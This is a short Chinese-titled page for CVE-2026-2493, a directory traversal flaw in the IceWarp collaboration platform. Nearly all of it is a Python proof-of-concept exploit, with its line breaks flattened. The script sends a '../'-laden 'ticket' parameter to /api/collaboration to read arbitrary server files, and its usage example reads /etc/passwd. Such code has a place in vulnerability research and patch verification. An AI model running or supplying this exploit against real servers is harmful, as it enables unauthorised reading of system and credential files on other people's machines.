CVE-2026-2493 IceWarp协作平台目录遍历信息泄露漏洞

import requests import sys # CVE-2026-2493 IceWarp Directory Traversal PoC # Target: IceWarp collaboration endpoint # Vulnerability: Directory traversal via ticket parameter def exploit(target_url, file_path): """ Exploit directory traversal to read arbitrary files Args: target_url: Base URL of IceWarp server file_path: Path to file to read (e.g., /etc/passwd) """ # Normalize the file path for traversal traversal = '../' * 6 # Navigate up 6 directories encoded_file = file_path.lstrip('/') # Construct the malicious ticket parameter payload = traversal + encoded_file # Target endpoint endpoint = f"{target_url}/api/collaboration" params = { 'ticket': payload } print(f"[*] Target: {target_url}") print(f"[*] Attempting to read: {file_path}") print(f"[*] Payload: {payload}") try: response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: print(f"[+] Success! File contents:") print(response.text[:500]) # Print first 500 chars return response.text else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <file_path>") print(f"Example: {sys.argv[0]} https://vulnerable-server.com /etc/passwd") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] exploit(target, file_to_read)